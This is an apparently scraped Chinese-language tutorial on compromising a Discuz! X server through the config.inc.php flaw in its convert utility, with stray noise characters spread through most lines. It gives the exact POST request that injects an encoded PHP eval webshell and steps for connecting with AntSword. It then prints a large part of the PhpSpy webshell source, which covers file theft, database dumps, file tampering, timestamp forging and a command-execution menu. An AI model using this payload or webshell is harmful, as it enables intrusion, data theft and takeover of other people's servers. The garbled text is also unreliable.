|
攻击思路:
; Y. A6 x( N* ~2 {想要拿下一台主机A的权限:
, X+ W: h( G/ l/ I1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞0 l( |+ b+ M! I$ F( G
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权1 k) q8 O, f1 x+ Z# E! j
3、传上去后,得到apache用户普通权限,再提权成root
( s% s* w- r; b7 z概述:. b' @/ |1 Z; ?6 m3 d# M# W
这突破在一个DZ X系列自带的转换工具里面。
" T" _( f: d/ O$ `8 K漏洞路径:utility / convert / data / config.inc.php
- D& M6 j% K5 C: n漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。/ Q4 M- g. S: ?! l
触发突破过程:$ k8 d2 s+ c0 O
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php
$ [( A( w& E/ [2 K) c4 a0 i2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
* B' c3 b& ]% Y; y" g# W7 V攻击过程:
5 r" ~- @! [# K7 O9 r1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
K4 U+ ]8 L, i
0 }! G/ I/ }3 C
* L$ B2 {1 Z) b2,右键单击空白处,选择发送到中继器,将报文发到中继器 
3、然后在中继器中查看信息: 
4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes这是一个经过加密的一句话木马解密后内容如下: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa eval("$_POST[c];"););eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行 
5、修改完成后发送数据包 
6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php 代码详细: 
可以看到和我们修改提交的参数类似。而且多了很多^ M符号。 扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n 7、祭出祖传的中国蚁剑连接刚才上传的一句话木马
2 A& f4 K+ ?( S$ o4 p" [ 6 P1 _5 L$ u0 D7 E1 I4 Z
8、通过中国蚁剑上传大码
9 V9 @1 O5 f3 O) B4 |' |4 u
3 E1 a0 X5 [4 F) {
% y. w$ I0 J$ c( g! @* f10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd webshell代码如下: - <?php( s6 s5 x% x4 K3 B7 O; p
- , l& R# O% f0 c! d
- /*****************************************************************************
& }5 r7 ?( [# n -
1 Q' |* y$ D4 x9 @: p - ===================== 请误用于非法用途,造成一切后果与本人无关。====================8 [7 N* a+ {/ k2 R6 {; G
- ! P1 z4 s0 m# P7 z
- ====# M! P* w% {, q/ Z/ K
-
5 n4 \$ x3 I' r7 \8 O -
* G2 d2 L. m' ?+ a1 i- k - *****************************************************************************/8 g0 p2 d* r4 x4 s- G
-
* L" a* Z/ ?) B5 O - error_reporting(7);$ ]; E) f* B$ `# w/ X. s
- @set_magic_quotes_runtime(0);
3 P4 x2 n# U" _5 F6 F$ r% r* ? - ob_start();
: j# G4 g( B, c% `& |( j - $mtime = explode(' ', microtime());
- U, i' z% s. b# S! x, q4 ` - $starttime = $mtime[1] + $mtime[0];
3 J' J6 i& x" i) R8 U6 B$ S - define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
) E3 J5 d0 z- I7 g - //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
; a6 l5 _1 h* n2 e) g - define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
1 u, }" r9 K5 V$ H& A - define('IS_COM', class_exists('COM') ? 1 : 0 );
' }+ F7 k2 ?9 B+ R7 G - define('IS_GPC', get_magic_quotes_gpc());
8 Q2 v% v/ e# Z( N) `4 w - $dis_func = get_cfg_var('disable_functions');) R! D. Y% g6 I
- define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
4 i& e* u% P2 s! s* {: K - @set_time_limit(0);
6 E6 y6 c F) q/ F& p' J -
4 t. A, v/ {' M" E7 V - foreach(array('_GET','_POST') as $_request) {% g1 F5 L6 ^1 z% r0 u0 {4 D( e; K/ B
- foreach($$_request as $_key => $_value) {
' k" ?6 a3 l/ `6 }% ]* ~! p" ^4 c - if ($_key{0} != '_') {) M2 S C+ h- Y3 H+ F* l
- if (IS_GPC) {
; R, [& H. H, @ - $_value = s_array($_value);- |: v n% M7 J' B8 j
- }2 D; T5 j# {$ H( W
- $$_key = $_value;3 V& C+ I$ f" X8 D$ I$ N
- }
# P+ R" d% W) P0 e6 z+ J - }
" V) D' o9 J0 [; I7 p' z$ S - }
; q% S3 i9 A! s' T - 6 s( m& V0 y( }
- /*===================== 程序配置 =====================*/
4 M/ o7 o4 C g - $admin = array();
! F" _6 Q# [: V# D4 d" l - // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
7 y& i# y) z8 }' y' r6 e3 T - $admin['check'] = true;
) X% a) K. {. T+ s) U$ W - // 如果需要密码验证,请修改登陆密码& J2 w6 M+ u, X
- $admin['pass'] = 'xuegod';) f& Q# ^6 W& Y
- ; R6 [$ \$ {& B) |
- //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
" q" [/ R$ j4 ] - // cookie 前缀 x. q+ w9 X8 m% K/ f. b
- $admin['cookiepre'] = '';
' k8 H0 h2 {4 l7 ^5 f9 `* c9 U - // cookie 作用域/ C% u6 G0 o$ \$ I; o
- $admin['cookiedomain'] = '';
; X1 u/ n @8 `8 z# j& b4 R e - // cookie 作用路径
' ~" D+ T+ A6 a* H9 [- _% f) W/ N - $admin['cookiepath'] = '/';
5 B7 P- o" C. W) h, k' W) `! A - // cookie 有效期3 q) j+ x+ e3 ?+ s
- $admin['cookielife'] = 86400; f# i# _. \; i* V, E: `1 F
- /*===================== 配置结束 =====================*/7 M8 A- Y3 ?9 I) S7 d/ {/ R
- 9 F" O9 U+ L6 L0 ?% a9 J/ T
- if ($charset == 'utf8') {
- C4 p" s1 W6 q& a4 n$ d7 m6 v" i - header("content-Type: text/html; charset=utf-8");
" o+ i! [' G1 J, a& o - } elseif ($charset == 'big5') {8 {! ^. N" G& w- s+ S2 u
- header("content-Type: text/html; charset=big5");2 A% ^0 L% {+ a$ M, s) J! i
- } elseif ($charset == 'gbk') {9 @2 M. ^8 z$ B0 W1 k5 ]
- header("content-Type: text/html; charset=gbk");. Z" D9 Z% U" E* w( ^
- } elseif ($charset == 'latin1') {
) ^" P1 @/ F# t& | - header("content-Type: text/html; charset=iso-8859-2");+ g3 U9 L( d7 h, |# L$ Q
- }- V+ \, ]- L2 U0 t
- % U0 k3 Y; z7 D: [0 y8 J: {
- $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
/ k! D5 S5 E E. I - $timestamp = time();
I3 Q6 |0 K s( @9 T# o -
* \$ ~- `, T3 R) F/ K6 R/ i7 p - /*===================== 身份验证 =====================*/+ u; ?% i8 u @ v# K
- if ($action == "logout") {
8 Y+ |5 z1 u9 o/ E, F- V2 a4 c0 m - scookie('phpspypass', '', -86400 * 365);' Y5 r' w" e- ^* j' v
- p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
: P4 [) i' z& s! X" i! `; t8 _ u - p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
7 P3 |; o" I( ^0 J - exit;
! U- }7 J. P1 _7 P - }+ a& W: h: x9 ]: }
- if($admin['check']) {; V" e$ ]9 k5 E% k( D- N: ^
- if ($doing == 'login') {
+ O5 z! u7 O9 f* B# E. G8 N( N+ \5 [ - if ($admin['pass'] == $password) {, ~: N0 v3 B: C* X
- scookie('phpspypass', $password);
4 c* j" [, t) E5 @$ h: ^; [ - p('<meta http-equiv="refresh" content="1;URL='.$self.'">');6 \" d" Z: y8 |% g. p3 E; E
- p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');6 ?" s# X6 R# |1 Q6 F
- exit;
8 o0 C9 N3 u5 Y - }
% Q/ o) b0 y3 B8 Z - }( J: J) {, N4 S( Q( M/ Q
- if ($_COOKIE['phpspypass']) {
7 ~$ q# P7 g+ _. h - if ($_COOKIE['phpspypass'] != $admin['pass']) {
o4 E4 D6 ?! I3 i; ^( U - loginpage();# L! G6 {5 L. H0 Q5 U& R
- }1 n7 d+ s" C$ H- S- v- B2 K/ J
- } else {
& a( ~ R! s3 B. _+ f/ i4 A% Z - loginpage();8 M& [4 f7 [5 f5 H# M( S; x
- }
- ]7 A# y. m( ~. e7 K - }
3 c* @7 L% s; r: D) ?8 Z - /*===================== 验证结束 =====================*/
$ O- N/ G0 P! K# H. _ k% } - Y @" n; a6 |9 ?
- $errmsg = '';9 V' e; t- b- M8 _8 N( J
-
& k1 S- B! V7 P! d3 e - // 查看PHPINFO
4 h$ `0 z, C# e - if ($action == 'phpinfo') {# H, o" M6 z. d0 X6 z( w+ A/ i( H# Y
- if (IS_PHPINFO) {
2 a' d( i+ J+ u& ]1 i6 e - phpinfo();0 K% [- @4 h5 u Z( ]( \* Z
- } else {3 K r, ?+ A. w7 K( {! n
- $errmsg = 'phpinfo() function has non-permissible';
- a& i7 x7 I: B! X+ g% Q) |, b - }6 {8 H9 i# ^- ?8 B
- } l* u0 n( I* Z% {( u _
-
! b/ t! d" k e/ e E5 n# { - // 下载文件+ f1 r6 m7 t0 K9 D& L
- if ($doing == 'downfile' && $thefile) {% L1 x# O2 A+ t' V
- if (!@file_exists($thefile)) {1 t7 `! G6 B" T3 S
- $errmsg = 'The file you want Downloadable was nonexistent';
, q& q6 a, Q7 C1 ^) J. Z) s - } else {
/ i; m3 V& ^6 u: k) `1 p - $fileinfo = pathinfo($thefile);* x% f4 G; S# B( {$ C3 X
- header('Content-type: application/x-'.$fileinfo['extension']);9 J/ |: a! R( \3 Z( k/ R0 F4 I
- header('Content-Disposition: attachment; filename='.$fileinfo['basename']);) m" N2 t. }$ l2 W
- header('Content-Length: '.filesize($thefile));) u2 p! R9 D9 K6 S7 P$ c
- @readfile($thefile);7 P2 V6 I: K, x9 _1 A
- exit;
2 `; C7 h" ^0 u$ L. B - }- }+ [) ` N/ {8 x, U* [
- }
% a5 z3 c; p! l, ` -
& k$ A [" K# c7 q3 @. T3 F - // 直接下载备份数据库
8 v5 X) \" N8 R - if ($doing == 'backupmysql' && !$saveasfile) {0 O7 G% e/ P( B* _/ @2 J
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
# H+ d. P \9 k - $table = array_flip($table);
. H& f* V+ X: O0 l$ G) a1 F - $result = q("SHOW tables");' V- j+ J% S" C! f+ c5 ~
- if (!$result) p('<h2>'.mysql_error().'</h2>');% o3 M* _' T: ?7 } @$ e
- $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
4 Z. | T+ h S& Z j8 p) K - header('Content-type: application/unknown');
% B' {& Q' ?' o - header('Content-Disposition: attachment; filename='.$filename);
# `) o! C+ `. B/ b1 ^, T - $mysqldata = '';
" S( Z2 O7 N6 d5 `/ h$ f - while ($currow = mysql_fetch_array($result)) {
8 k% P$ a# e: `2 j p) O - if (isset($table[$currow[0]])) { J% x9 F7 n4 f- S
- $mysqldata .= sqldumptable($currow[0]);. S* x+ G& K! Q- c' E) ]8 G9 Z
- }* H; f8 ^5 c. t, e# w7 a+ w
- }" m, G5 S6 |, |( f+ ^2 B
- mysql_close();
+ W, s4 E, F- I4 N! j - exit;
. ?( p) O8 n5 J3 `; e2 | - }( j! r, G, \9 w+ }5 P
- . g3 R3 C3 T# r) e w r8 ~
- // 通过MYSQL下载文件
4 {* m) f4 C& j/ Y: X/ \ - if($doing=='mysqldown'){% b8 a$ |8 d! o- n) w8 q
- if (!$dbname) {
6 n& f7 A4 N( j) J4 n1 L- P% w - $errmsg = 'Please input dbname';
( P+ t0 f. O2 z- }7 H# H - } else {8 W0 H( Y" Q6 e
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
. Q1 H5 O* T+ [" _) S, b# c - if (!file_exists($mysqldlfile)) {
7 j+ d+ Y3 u8 U# i3 B9 V - $errmsg = 'The file you want Downloadable was nonexistent';
0 Y! N ~$ K7 R$ t0 d1 s' X - } else {
Q: d) E% R) X4 Y - $result = q("select load_file('$mysqldlfile');");
* t% k0 X0 G7 E8 E1 g - if(!$result){
! |+ A. b) x& D; p - q("DROP TABLE IF EXISTS tmp_angel;");. A' H' P' g" n( Q
- q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);"); P1 h6 d4 X2 S! c# y
- //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
* p" U& W; i; f/ R% s, n - q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
$ _- \$ I; D7 ` w1 i) b% N - $result = q("select content from tmp_angel");
, b0 X9 H" [- L H - q("DROP TABLE tmp_angel");
# u0 V9 B+ y6 c8 d - }
6 N: S4 |/ p9 L" G6 U$ ~2 z7 q; v0 O - $row = @mysql_fetch_array($result);
) s' o. E- k4 C4 Y0 g$ r2 ] - if (!$row) {1 l' V* C+ [4 f# ] p. G
- $errmsg = 'Load file failed '.mysql_error();
7 q$ I- s. R) U0 H2 q" d - } else {
6 U; k# O: F+ D( I- @ - $fileinfo = pathinfo($mysqldlfile);
, i) G( j( A6 @ x - header('Content-type: application/x-'.$fileinfo['extension']);
1 c/ `- N& [) c$ G - header('Content-Disposition: attachment; filename='.$fileinfo['basename']);# j' k; X9 ` j8 T' }
- header("Accept-Length: ".strlen($row[0]));% \8 _# w8 P0 @
- echo $row[0];5 y- S! w' x2 X Z1 }& d
- exit;
! |! e/ y7 |0 l$ o3 y; a% ]3 q - }' n6 U1 W5 H3 T
- }% Y4 \, w, }2 i: p5 @$ X
- }4 a- ^1 S# f/ O6 C3 U
- }
9 r/ H" q# ]0 A2 |9 U( I0 a4 U) _8 P( R - , K: k) J4 l" ^4 |9 I, z) X- R
- ?>
# u' f6 W$ n+ b: y. l - <html>3 b1 d; }2 O6 a$ @
- <head>
& m: |# d4 c' {" ?4 C, [% _ - <meta http-equiv="Content-Type" content="text/html; charset=gbk">
% i( ]) ]( P2 |7 G M: Y: _7 I$ n( O# b - <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>9 `: w4 n% N. z/ F
- <style type="text/css">3 f- E5 n7 B0 \7 y% i
- body,td{font: 12px Arial,Tahoma;line-height: 16px;} Y1 q1 E+ m: H1 o" Q& Z: ^0 e7 X3 T- I
- .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}7 v1 k) A7 K8 ^+ u$ c8 q
- .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
1 Q. Z; h0 q; X" U& T( ~9 s' n# y - .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
% s- @3 ]5 e. G j - a {color: #00f;text-decoration:underline;}
# l3 e2 S2 i7 M3 @' ?/ i( ]% k8 o - a:hover{color: #f00;text-decoration:none;}% T, e2 t8 i. `1 I" V
- .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
5 t1 g" `) f; G5 b - .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
% ^8 x" L, j5 w. ^ - .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}; r1 I8 J' [ ^ O
- .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}( s& U5 y* Q/ J% B8 ^- m1 y. C
- .head td span{font-weight:normal;}! K/ w6 z- e1 K2 D
- form{margin:0;padding:0;}
* T; `6 l5 ^- j' o( J) P - h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
* Q0 I. ?2 @# n0 \2 ]$ j- ^: A - ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
* P' V& |3 y6 l% I5 C5 Q5 ?1 y - u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}* w6 S: f+ L2 t* f, X
- </style>+ w" _1 d! r* G" ~9 {! o
- <script type="text/javascript">7 v# V3 j$ m) `: f5 B
- function CheckAll(form) {
q+ k) N4 h. M) n, Z3 r4 B2 g - for(var i=0;i<form.elements.length;i++) {. Y0 j7 d: W1 T* f. y- [
- var e = form.elements[i];
+ Z$ @4 e; C& ]& o7 z - if (e.name != 'chkall')
# \! q" x1 a3 t3 A+ G5 M - e.checked = form.chkall.checked;
4 B( p! X+ L& S' h6 s - }8 q; N0 W/ } h% P, T8 W- z3 n& g
- }8 P- G4 X( o0 p( }
- function $(id) {
* y @( g6 _( | - return document.getElementById(id);4 P0 [2 p& o9 t) @
- }0 x& x x$ c1 F/ m
- function goaction(act){. g' v! \5 E4 x( {; N
- $('goaction').action.value=act;
( f% s' E0 @( Y% i! u& R4 J - $('goaction').submit();, \! n2 P$ A. @# A$ y
- }) {) b6 s2 t: u0 Y& M/ U# D7 ]
- </script>9 E% Z" b! Q% D; W/ r% F
- </head>$ A" y' i7 {2 {
- <body style="margin:0;table-layout:fixed; word-break:break-all">
1 b( p& V8 J! K* r( ^ - <table width="100%" border="0" cellpadding="0" cellspacing="0">
, d6 W5 N( g5 J6 k& _- i6 Z" O( Y. o - <tr class="head">
# ?4 w! |; Y% j7 ~+ W - <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
: |* i' l8 s, u5 U, M - </tr> E: m6 {* L2 j- [9 g/ r( V! b: i
- <tr class="alt1">9 X7 x1 I3 m% w1 e: y3 @2 S
- <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>. K# r( D: G, B1 Z& e! ]3 ?+ l
- <a href="javascript:goaction('logout');">Logout</a> | 5 r9 K8 }* ?/ w$ _
- <a href="javascript:goaction('file');">File Manager</a> |
& u+ _4 {* j7 X' z: Z. Q - <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | # G, o6 {8 e. v2 f5 @% ?6 I0 w
- <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> | " [+ f* T* o5 @2 ~* f& G
- <a href="javascript:goaction('shell');">Execute Command</a> |
# `' x2 S) o- v$ d0 j% | - <a href="javascript:goaction('phpenv');">PHP Variable</a> | 2 G2 t4 |" G: R
- <a href="javascript:goaction('eval');">Eval PHP Code</a>
@: X+ }$ S4 z+ W% Z# N - <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
7 `% a+ d: O$ P7 E4 G - </td>
1 B$ f5 L* _3 `$ B5 Y7 w; }2 H - </tr>- C. _% \5 `, x% w1 h4 F3 M3 j6 K
- </table>" ]0 V8 |; y% _! z- f! z) M
- <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
9 G7 @' s* r6 L& T0 @! \ - <?php9 b$ W4 g) Q. H% Y9 f x# ]0 N
-
' l- n+ v, f, S( U0 M4 L$ i7 O - formhead(array('name'=>'goaction'));
+ { A$ P3 N! X/ J* e3 ^ - makehide('action');. a% v5 ?( R. }, x6 p8 V
- formfoot();4 t+ O1 {( X$ E( E9 x6 t# a
-
- B7 L' S& I% M0 i- S* y - $errmsg && m($errmsg);
: |0 y8 \) c3 F8 i& a) L) ~ - ) {; w; I, O7 @$ e/ n+ ?( ~
- // 获取当前路径( _: F. Y2 @6 o: ^6 }; L
- !$dir && $dir = '.';
1 @5 }7 B7 a: {9 C% S - $nowpath = getPath(SA_ROOT, $dir);
% T; I: ?3 h- C( H$ ]9 t0 W - if (substr($dir, -1) != '/') {
; m$ {6 O- f- w0 M; q4 P( S - $dir = $dir.'/';) b% H7 g0 {0 [% [4 ?0 l+ C: V
- }
. A% v8 b3 n- \5 }1 Q2 m - $uedir = ue($dir);
6 `7 M% }6 K/ ^6 ]7 q( [! H -
6 n* ~. h2 Y- {) u& w) Z2 x# \ - if (!$action || $action == 'file') {/ s, O: Z/ D8 i1 T1 @: y
- + O- a4 }) j/ J8 e
- // 判断读写情况; U* W" }/ e/ m% b
- $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';6 q: O4 p5 `# |. `
-
5 `9 q2 ]6 O6 N" X - // 删除目录
9 }+ w8 g6 t8 r/ f6 i - if ($doing == 'deldir' && $thefile) {& S% y/ z5 G5 ?+ @8 O$ ~% O' v
- if (!file_exists($thefile)) {
- u v0 y; W5 \5 p$ ]* G - m($thefile.' directory does not exist');
6 c) x. C8 x8 Y/ h( E2 t( K+ @ - } else {
2 h+ H$ P4 g+ u- d - m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
/ t% q! ^8 C1 O: Q# R' }( K - }5 ^7 I5 c2 O+ Y3 J1 D+ ?$ K
- }
5 g, w; h e4 T J, a" P( Y1 ^) ? - & d+ Z8 K2 m! f3 k6 R9 q; E
- // 创建目录6 b( j2 U* I# ~! d$ A- q. b
- elseif ($newdirname) {
6 o' d) ]/ s- A - $mkdirs = $nowpath.$newdirname;& N% o, z2 U9 u. N( `' k1 _' a: m
- if (file_exists($mkdirs)) {
2 q8 D0 v9 s* v7 b0 P$ @+ W - m('Directory has already existed');1 A. h8 W! T6 A0 I. `* |
- } else {
# I8 |5 i0 [( G; f( \ - m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
4 c; L& k+ b) n6 s( J - @chmod($mkdirs,0777);
y- i: q# F5 C- `, A% E5 Y - }' `, N9 C- ~$ R1 {* a
- }: S+ Q) L, M0 q& ]) G$ {6 f" N3 H
-
0 t1 ~( D% W. _3 f - // 上传文件
) `$ O+ b8 C% {. A - elseif ($doupfile) {; |* {6 U/ _ w1 H5 e1 g
- m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));3 b. ], U5 t, G5 X: r, S" n1 X
- }6 O% I! n9 C+ S7 ?* Q( `, a8 g: B
- % v' t3 w- \# l: Y& ~; B! i+ B
- // 编辑文件) q& K( x, E- H8 l
- elseif ($editfilename && $filecontent) {! Y8 _- z9 M1 b( b. K' G$ D. ~
- $fp = @fopen($editfilename,'w');% _8 e, l5 c; h* n
- m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
- B: q& y& L5 _+ v: d' Z1 V3 A - @fclose($fp);
! X5 X$ S6 L8 ~. E/ F - }
|! ^) A6 r4 X4 n+ n5 I( R, v -
# W( C- N8 e2 f: A! o - // 编辑文件属性0 W/ d; d4 J8 V; ^2 E1 j
- elseif ($pfile && $newperm) {
+ o& S: F( a, o- H7 s( `; `; w - if (!file_exists($pfile)) {
, ?3 K+ R9 G5 h$ p8 k# S - m('The original file does not exist');6 B9 Y/ D7 u' w* C/ f& M3 S! p
- } else {* O2 k* w4 S' l, A
- $newperm = base_convert($newperm,8,10);/ n3 f: Z9 k, S; @2 }! c7 }: Z! p
- m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
/ y6 C% |# g% B) B1 X) [% x - }7 @0 ?" }+ H0 q: ^( Q- Y8 q+ @% r
- }4 G3 W$ }0 q# ~! A
- 3 w, g- t; f) ~; H/ S# }( Z
- // 改名
+ g$ p5 ~# m4 O3 }; L% x - elseif ($oldname && $newfilename) {$ E' y6 D2 ~7 b( j
- $nname = $nowpath.$newfilename;6 h1 U) r0 H( C% m' F6 p5 [
- if (file_exists($nname) || !file_exists($oldname)) {
4 f/ H9 |. R: m: T: c- Z, o - m($nname.' has already existed or original file does not exist');' J' a4 `3 g! |& A" y* O- ]
- } else {
" L/ J: X' T9 W4 M - m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
) T' w1 Q/ L( S8 y - }2 ?" y1 C* I4 Y/ d
- }
8 U: F( R5 Q& e9 N -
+ q t2 Y0 G( u b7 ?4 o+ R - // 复制文件
7 G# W+ m8 a+ P/ ^) f - elseif ($sname && $tofile) { v+ |; P+ ~$ j5 v$ @$ m
- if (file_exists($tofile) || !file_exists($sname)) {# \8 k" n& l- ~+ e
- m('The goal file has already existed or original file does not exist');- }, S% F! m) u* W- G' j
- } else {4 y, I, c$ y. y, f
- m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));# Y0 J" C( g8 |& s8 S7 r% ?
- }5 `9 ^: F2 ~4 F
- }
7 W7 `8 V0 U0 i$ @. f7 R - . v3 ^# w6 B b6 S1 z$ I
- // 克隆时间
; x6 N [' g x9 t4 T( n2 u - elseif ($curfile && $tarfile) {
+ T- v/ t, f, m: M - if (!@file_exists($curfile) || !@file_exists($tarfile)) {1 Q- F. H) J/ v1 m7 J* `
- m('The goal file has already existed or original file does not exist');& }* e! P( ]" y) y. Z* B7 X
- } else {; p3 J' U& Z% j& F( V2 D- I/ \9 i
- $time = @filemtime($tarfile);3 E6 ?( V4 s4 h/ i9 E V3 o4 |0 _' c% ]
- m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
# @1 \ c' z3 A: G6 W; M2 } - }! G7 b9 ^% @% p7 B3 g
- }
i# ? E, n& c7 l& L* V I% V -
' u3 |' m6 B+ F: }5 i - // 自定义时间
- d4 P9 U! M$ z6 E - elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
! m6 N$ ^+ F2 A - if (!@file_exists($curfile)) {
+ ~! G8 C7 o. E. _ - m(basename($curfile).' does not exist');
6 _& B$ I! ?- W - } else {/ v; C) M' d( v! x. ]
- $time = strtotime("$year-$month-$day $hour:$minute:$second");
: u. @9 @. a8 ~! g - m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));& V U+ {, u' v5 H: |9 K G; R, I$ `
- }1 x) g! Q+ C- G! }" m( Y* |9 V3 I
- }
" }7 \( h& R9 W. u, i -
( Y! f) _- H: K& u. g4 Q. |: P8 H - // 打包下载2 \9 F% t- S: u+ d" ?
- elseif($doing == 'downrar') {: K) Z9 M" e. a: h* J
- if ($dl) {
1 }- \" @8 ^; l* S! T- p/ } - $dfiles='';8 v/ [) e9 k( h( G/ ?3 D+ a0 e8 Q
- foreach ($dl as $filepath => $value) {
7 {9 i. a) E, [# S2 \; p+ B x - $dfiles.=$filepath.',';
% v+ [$ n! a: |6 v( ^ a - }
& b/ U8 e- M2 m# W - $dfiles=substr($dfiles,0,strlen($dfiles)-1);! `* i8 r8 O% @, O
- $dl=explode(',',$dfiles);0 F- z! J; A/ y8 T) W
- $zip=new PHPZip($dl); Y$ T4 l3 q& O+ B- T
- $code=$zip->out;2 D! C0 @9 a. q; {+ w* L+ \3 v! X
- header('Content-type: application/octet-stream');
1 p' t/ u3 Y! z3 ]1 a; A9 C - header('Accept-Ranges: bytes');0 K1 B# T7 P" X0 a; S3 N9 x1 P
- header('Accept-Length: '.strlen($code));
; j% B6 c3 D8 L: E( ~ - header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');1 o& a# {# _1 ?+ M
- echo $code;( M+ h0 T) ~# ^, P
- exit;
! Z. B; S$ O& S) K+ }) K8 z - } else {- ?( I" L" s0 R; m+ S% ?6 N l
- m('Please select file(s)');; y4 _5 U+ `+ A8 a6 ~; B7 q
- }0 Q( R( H8 F; q$ `, e: G+ j1 K
- }
5 c3 A& Y \, B -
6 `" m1 v, @$ o; |0 G - // 批量删除文件. \. Z4 ~* E4 _- `
- elseif($doing == 'delfiles') {
( P/ O* ?$ Z7 ~+ S - if ($dl) {: Q8 J) p, H3 R; h! M9 Q
- $dfiles='';
, A# ]7 ^) j) [$ n+ P* i9 _' j, |6 V - $succ = $fail = 0;- S; ?: J6 o5 Q4 o) |- }
- foreach ($dl as $filepath => $value) {
7 b4 ?; G) j5 ?* r4 t - if (@unlink($filepath)) {
1 h: y2 q- s9 C9 U: R7 I: t4 ? - $succ++;% e" a& Y# X* A% _& X# E" S* Q
- } else {+ Z- S0 R$ g) p- j. D! P
- $fail++;+ h3 [0 C) O& @2 z
- }
" K4 W6 y+ ]2 c0 ~6 p- V% ]& o. Z4 _: Y - }
' P- B: n( @; Y - m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
, K3 {1 l6 t+ w( K- \3 d$ ^ - } else {
1 t/ i. L$ q6 W8 U+ q: _: H - m('Please select file(s)');
, v' w2 F* j# E& v g/ G6 b - }
" z+ b" P" g7 F8 c4 Y - }
. \& t' v+ k5 E( O - 7 O) C0 s% [, n' T
- //操作完毕+ S" c3 B- [# c, c* J
